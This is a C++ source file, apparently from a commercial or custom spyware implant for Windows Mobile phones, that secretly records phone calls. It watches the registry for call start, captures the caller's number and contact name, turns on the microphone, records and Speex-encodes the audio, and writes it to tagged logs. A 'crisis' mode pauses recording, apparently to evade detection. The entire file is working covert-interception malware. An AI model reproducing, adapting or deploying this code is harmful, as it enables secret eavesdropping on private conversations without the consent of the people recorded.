#include "Modules.h"
#include "Common.h"
#include "Module.h"
#include "Conf.h"
#include <exception>
#include <regext.h>

#include <mmsystem.h>
#include <winreg.h>
#include "CWaveForm.h"
#include "speex/speex.h"
#include "RecordedCalls.h"
#include "CallBacks.h"

BOOL bLocalCallIsrecording;
DWORD dwLocalCallBuffInCount;
WAVEHDR	tagLocalCallWaveHdr[LOCAL_CALL_COUNT_BUFF];
CWaveformIn *callObj;
WCHAR LocalCallPhoneNumber[PHONE_NUMBER_LEN]; // Contiene il numero di telefono
WCHAR LocalCallerName[256]; // Contiene il nome del chiamante in rubrica
WCHAR LocalCallerString[512]; // Contiene numero di telefono ed eventuale nome in rubrica

DWORD local_call_buffer_len = LOCAL_CALL_DEF_BUFFER_LEN;
DWORD local_call_compress_factor = LOCAL_CALL_DEF_COMPRESS_FACTOR; 

void SaveEncode(BYTE *wave, DWORD total_size)
{
	short *bit_sample;
	void *state;
	float *input;
	BYTE *to_write;
	BYTE *source_ptr;
	BYTE *cbits;
	SpeexBits bits;
	DWORD frame_size = 0;
	DWORD i, nbBytes;	
	DWORD complexity = 1;
	VoiceAdditionalData vad;
	Log log;

	// Crea un nuovo encoder in wide mode
	state = speex_encoder_init(speex_lib_get_mode(SPEEX_MODEID_NB));
	speex_encoder_ctl(state, SPEEX_SET_QUALITY, &local_call_compress_factor);
	speex_encoder_ctl(state, SPEEX_SET_COMPLEXITY, &complexity);
	speex_bits_init(&bits);
	speex_encoder_ctl(state, SPEEX_GET_FRAME_SIZE, &frame_size);

	if (!frame_size) {
		SPEEX_FREE;
		return;
	}

	// Allochiamo il buffer di output grande quanto quello originale (per sicurezza)
	if (!(to_write = new(std::nothrow) BYTE[frame_size * LOCAL_CALL_SAMPLE_SIZE])) {
		SPEEX_FREE;
		return;
	}
	cbits = to_write + sizeof(DWORD); // Punta al blocco dati, mentre la prima DWORD conterra' la dimensione

	// Allochiamo il buffer di elaborazione
	if (!(input = new(std::nothrow) FLOAT[frame_size])) {
		SAFE_DELETE(to_write);
		SPEEX_FREE;
		return;
	}

	unsigned __int64 stop_time = GetTime();
	unsigned __int64 tsize = total_size;

	vad.uVersion = CALL_LOG_VERSION;
	vad.uChannel = CHANNEL_INPUT;
	vad.uProgramType = LOGTYPE_CALL_MOBILE;
	vad.uSampleRate = CALL_SAMPLE_RATE | LOG_AUDIO_CODEC_SPEEX;
	vad.uIngoing = 0; // Non lo sappiamo per il momento
	vad.stop.dwHighDateTime = (DWORD)((stop_time & 0xffffffff00000000) >> 32);
	vad.stop.dwLowDateTime = (DWORD)(stop_time & 0x00000000ffffffff);
	
	stop_time -= (((tsize / 2) / CALL_SAMPLE_RATE) * 10000000);
	vad.start.dwHighDateTime = (DWORD)((stop_time & 0xffffffff00000000) >> 32);
	vad.start.dwLowDateTime = (DWORD)(stop_time & 0x00000000ffffffff);

	if (wcslen(LocalCallerName)) {
		wsprintf(LocalCallerString, L"%s (%s)", LocalCallPhoneNumber, LocalCallerName);
	} else {
		wsprintf(LocalCallerString, L"%s", LocalCallPhoneNumber);
	}

	vad.uCallerIdLen = 0; // Non lo sappiamo per il momento
	vad.uCalleeIdLen = WideLen(LocalCallerString);	

	BYTE *pData = new(std::nothrow) BYTE[sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen];

	if (pData == NULL) {
		SAFE_DELETE(to_write);
		SAFE_DELETE(input);
		SPEEX_FREE;
		return;
	}

	ZeroMemory(pData, sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen);

	BYTE *pTmp = pData;
	CopyMemory(pData, &vad, sizeof(vad));
	pTmp += sizeof(vad);

	// Non ce l'abbiamo ancora
	if (vad.uCallerIdLen) {
		//memcpy(pTmp, )
	}

	if (vad.uCalleeIdLen) {
		CopyMemory(pTmp, LocalCallerString, WideLen(LocalCallerString));
	}

	if (log.CreateLog(LOGTYPE_CALL, pData, sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen, MMC1) == FALSE) {
		SAFE_DELETE(to_write);
		SAFE_DELETE(input);
		delete[] pData;
		SPEEX_FREE;
		return;
	}

	delete[] pData;

	// Continua finche' dopo source_ptr non rimane ancora spazio per un frame intero
	for (source_ptr=wave; source_ptr+(frame_size*LOCAL_CALL_SAMPLE_SIZE)<=wave+total_size; source_ptr+=(frame_size*LOCAL_CALL_SAMPLE_SIZE)) {
		// Copiamo i campioni a 16 bit dentro dei float
		bit_sample = (short *)source_ptr;
		for (i=0; i<frame_size; i++)
			input[i] =  bit_sample[i];

		speex_bits_reset(&bits);
		speex_encode(state, input, &bits);
		// Encoda dentro il buffer di output
		nbBytes = speex_bits_write(&bits, (char *)cbits, frame_size*LOCAL_CALL_SAMPLE_SIZE);
		if (nbBytes > (frame_size*LOCAL_CALL_SAMPLE_SIZE))
			continue; // Check paranoico

		// Copia la lunghezza nei primi 4 byte per fare un unica scrittura su file
		CopyMemory(to_write, &nbBytes, sizeof(DWORD)); 
		log.WriteLog(to_write, nbBytes + sizeof(DWORD));
	}

	log.CloseLog();
	SAFE_DELETE(to_write);
	SAFE_DELETE(input);
	SPEEX_FREE;
}


void CALLBACK LocalCallWaveInProc(HWAVEIN hwi, UINT uMsg, DWORD dwInstance, WAVEHDR *dwParam1, DWORD dwParam2)
{
	if (uMsg == MM_WIM_DATA) {
		if (dwParam1->dwBytesRecorded > 0)
			SaveEncode((BYTE *)dwParam1->lpData, dwParam1->dwBytesRecorded);

		if (bLocalCallIsrecording) {
			waveInUnprepareHeader(hwi, dwParam1, sizeof(WAVEHDR));

			dwParam1->dwFlags = 0;
			dwParam1->dwBytesRecorded = 0;
			waveInPrepareHeader(hwi, dwParam1, sizeof(WAVEHDR));
			waveInAddBuffer(hwi, dwParam1, sizeof(WAVEHDR));
		} else {
			dwLocalCallBuffInCount++;	
		}
	}
}


BOOL RecordStop(BOOL is_finished)
{
	FILETIME ft;
	SYSTEMTIME st;
	VoiceAdditionalData vad;
	Log log;

	if (callObj == NULL)
		return FALSE;

	bLocalCallIsrecording = FALSE;
	callObj->Reset();

	// Aspetta che abbia flushato i buffer
	while (dwLocalCallBuffInCount < LOCAL_CALL_COUNT_BUFF)
		Sleep(500);

	// Inserisce i tag di fine chiamata
	if (is_finished) {
		GetSystemTime(&st);
		SystemTimeToFileTime(&st, &ft);

		vad.uVersion = CALL_LOG_VERSION;
		vad.uChannel = CHANNEL_INPUT;
		vad.uProgramType = LOGTYPE_CALL_MOBILE;
		vad.uSampleRate = CALL_SAMPLE_RATE | LOG_AUDIO_CODEC_SPEEX;
		vad.uIngoing = 0; // Non lo sappiamo per il momento
		vad.stop.dwHighDateTime = ft.dwHighDateTime;
		vad.stop.dwLowDateTime = ft.dwLowDateTime;
		vad.start.dwHighDateTime = ft.dwHighDateTime;
		vad.start.dwLowDateTime = ft.dwLowDateTime;

		wsprintf(LocalCallerString, L"%s (%s)", LocalCallPhoneNumber, LocalCallerName);

		vad.uCallerIdLen = 0; // Non lo sappiamo per il momento
		vad.uCalleeIdLen = WideLen(LocalCallerString);

		BYTE *pData = new(std::nothrow) BYTE[sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen];

		if (pData == NULL) {
			delete callObj;
			callObj = NULL;
			return FALSE;
		}

		ZeroMemory(pData, sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen);

		BYTE *pTmp = pData;
		CopyMemory(pData, &vad, sizeof(vad));
		pTmp += sizeof(vad);

		// Non ce l'abbiamo ancora
		if (vad.uCallerIdLen) {
			
		}

		if (vad.uCalleeIdLen) {
			CopyMemory(pTmp, LocalCallerString, WideLen(LocalCallerString));
		}

		UINT dummy = 0xFFFFFF;

		if (log.CreateLog(LOGTYPE_CALL, pData, sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen, MMC1)) {
			log.WriteLog((BYTE *)&dummy, sizeof(UINT));
		}

		log.CloseLog();

		delete[] pData;
	}

	callObj->Close();

	for (int j = 0; j < LOCAL_CALL_COUNT_BUFF; j++) {
		callObj->UnprepareHeader(&(tagLocalCallWaveHdr[j]), sizeof(WAVEHDR));
		SAFE_FREE(tagLocalCallWaveHdr[j].lpData);
	}

	delete callObj;
	callObj = NULL;
	return TRUE;
}

BOOL RecordStart()
{
	WAVEFORMATEX in_pcmWaveFormat;
	CWaveform wave;
	UINT count = CWaveform::InGetNumDevs();

	dwLocalCallBuffInCount = 0;

	for (UINT i = 0; i < count && callObj == NULL; i++) {
		WAVEINCAPS wic;

		CWaveform::InGetDevCaps(i, &wic, sizeof(WAVEINCAPS));
		if (wic.dwFormats & WAVE_FORMAT_1M16) {
			ZeroMemory(&in_pcmWaveFormat, sizeof(WAVEFORMATEX));
			CWaveform::PrepareWaveFormat(&in_pcmWaveFormat, WAVE_FORMAT_PCM, 1, CALL_SAMPLE_RATE, 16);
			callObj = wave.InOpen(i, &in_pcmWaveFormat, (DWORD_PTR) LocalCallWaveInProc, 0, CALLBACK_FUNCTION);
		}
	}

	if (callObj == NULL) 
		return FALSE;

	ZeroMemory(tagLocalCallWaveHdr, sizeof(tagLocalCallWaveHdr));
	for (UINT j = 0; j < LOCAL_CALL_COUNT_BUFF; j++) {
		tagLocalCallWaveHdr[j].dwBufferLength = local_call_buffer_len;
		tagLocalCallWaveHdr[j].dwLoops = 1;
		// Alloca i buffer di registrazione e li prepara
		if ( !(tagLocalCallWaveHdr[j].lpData = (char *)new(std::nothrow) CHAR[tagLocalCallWaveHdr[j].dwBufferLength]) )  {
			for (UINT k = 0; k < j; k++) {
				SAFE_DELETE(tagLocalCallWaveHdr[k].lpData);
			}

			callObj->Close();
			delete callObj;
			callObj = NULL;
			return FALSE;
		}
	}

	for (UINT j = 0; j < LOCAL_CALL_COUNT_BUFF; j++) { 
		callObj->PrepareHeader(&(tagLocalCallWaveHdr[j]), sizeof(WAVEHDR));
		callObj->AddBuffer(&(tagLocalCallWaveHdr[j]), sizeof(WAVEHDR));
	}

	bLocalCallIsrecording = TRUE;
	callObj->Start();

	return TRUE;
}

DWORD WINAPI RecordedCalls(LPVOID lpParam) {
	Module *me = (Module *)lpParam;
	Configuration *conf = me->getConf();
	HANDLE eventHandle;

	HKEY hPhoneState;
	DWORD dwType = 0;
	WCHAR szData[PHONE_NUMBER_LEN], szName[400];
	DWORD cbData = 0;
	BOOL bCallStatus = FALSE, bCrisis = FALSE, bPrevState = FALSE;
	Device *deviceObj = Device::self();
	Status *statusObj = Status::self();
	HREGNOTIFY hNotify;
	HRESULT hRes;

	try {
		local_call_buffer_len = (DWORD)conf->getInt(L"buffer");
	} catch (...) {
		local_call_buffer_len = 524288;
	}

	try {
		local_call_compress_factor = (DWORD)conf->getInt(L"compression");
	} catch (...) {
		local_call_compress_factor = 5;
	}

	me->setStatus(MODULE_RUNNING);
	eventHandle = me->getEvent();

	DBG_TRACE(L"Debug - RecordedCalls.cpp - Call Module started\n", 5, FALSE);

	bLocalCallIsrecording = FALSE;
	callObj = NULL;

	ZeroMemory(LocalCallPhoneNumber, sizeof(LocalCallPhoneNumber));
	ZeroMemory(LocalCallerName, sizeof(LocalCallerName));
	ZeroMemory(LocalCallerString, sizeof(LocalCallerString));
	ZeroMemory(szName, sizeof(szName));

	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"System\\State\\Phone", 0, 0, &hPhoneState) != ERROR_SUCCESS) {
		me->setStatus(MODULE_STOPPED);
		return 0;
	}

	// Se la chiamata e' gia' in corso la callback non verra' notificata, quindi checkiamo da noi il valore
	FILETIME ft = {0};
	cbData = sizeof(ft);

	if (RegQueryValueEx(hPhoneState, L"Call Start Time", NULL, &dwType, (LPBYTE) &ft, &cbData) == ERROR_SUCCESS) {
		bCallStatus = TRUE;
	}

	hRes = RegistryNotifyCallback(hPhoneState, NULL, L"Call Start Time", CallBackNotification, 
									(DWORD)&bCallStatus, NULL, &hNotify);

	if (hRes != S_OK) {
		me->setStatus(MODULE_STOPPED);
		return 0;
	}

	LOOP {
		// Valorizziamo il flag di crisi
		if ((statusObj->Crisis() & CRISIS_CALL) == CRISIS_CALL) {
			bCrisis = TRUE;
		} else {
			bCrisis = FALSE;
		}

		while (bCrisis) {
			DBG_TRACE(L"Debug - RecordedCalls.cpp - Call Module is in crisis\n", 6, FALSE);

			if (bCallStatus) {
				bCallStatus = FALSE;
				RecordStop(TRUE);
				ZeroMemory(LocalCallPhoneNumber, sizeof(LocalCallPhoneNumber));
				deviceObj->ReleaseMicPowerState();
			}

			WaitForSingleObject(eventHandle, 10000);

			if (me->shouldStop()) {
				DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module clean stop while in crisis [0]\n", 5, FALSE);
				RegistryCloseNotification(hNotify);
				RegCloseKey(hPhoneState);
				me->setStatus(MODULE_STOPPED);
				return 0;
			}

			if ((statusObj->Crisis() & CRISIS_CALL) != CRISIS_CALL) {
				bCrisis = FALSE;
			}
		}

		if (bPrevState != bCallStatus) {
			bPrevState = bCallStatus;

			if (bPrevState) { // Chiamata in corso!
				ZeroMemory(szData, sizeof(szData));
				ZeroMemory(szName, sizeof(szName));
				cbData = sizeof(szData) - 1;
				RegQueryValueEx(hPhoneState, L"Caller Number", NULL, &dwType, (LPBYTE) &szData, &cbData);
				bCallStatus = TRUE;
				wcscpy_s(LocalCallPhoneNumber, PHONE_NUMBER_LEN, szData);
				cbData = sizeof(szName) - 1;
				RegQueryValueEx(hPhoneState, L"Caller Name", NULL, &dwType, (LPBYTE) &szName, &cbData);
				wcscpy_s(LocalCallerName, 256, szName);

				deviceObj->SetMicPowerState();
				RecordStart();	
			} else { // Chiamata terminata!
				bCallStatus = FALSE;
				RecordStop(TRUE);
				ZeroMemory(LocalCallPhoneNumber, sizeof(LocalCallPhoneNumber));
				deviceObj->ReleaseMicPowerState();
			}
		}

		WaitForSingleObject(eventHandle, 10000);

		if (me->shouldStop()) {
			if (bCallStatus) {
				RecordStop(FALSE);
				ZeroMemory(LocalCallPhoneNumber, sizeof(LocalCallPhoneNumber));
				deviceObj->ReleaseMicPowerState();
			}

			RegistryCloseNotification(hNotify);
			RegCloseKey(hPhoneState);

			me->setStatus(MODULE_STOPPED);
			DBG_TRACE(L"Debug - RecordedCalls.cpp - Call Module clean stop\n", 5, FALSE);
			return 0;
		}
	}

	return 0;
}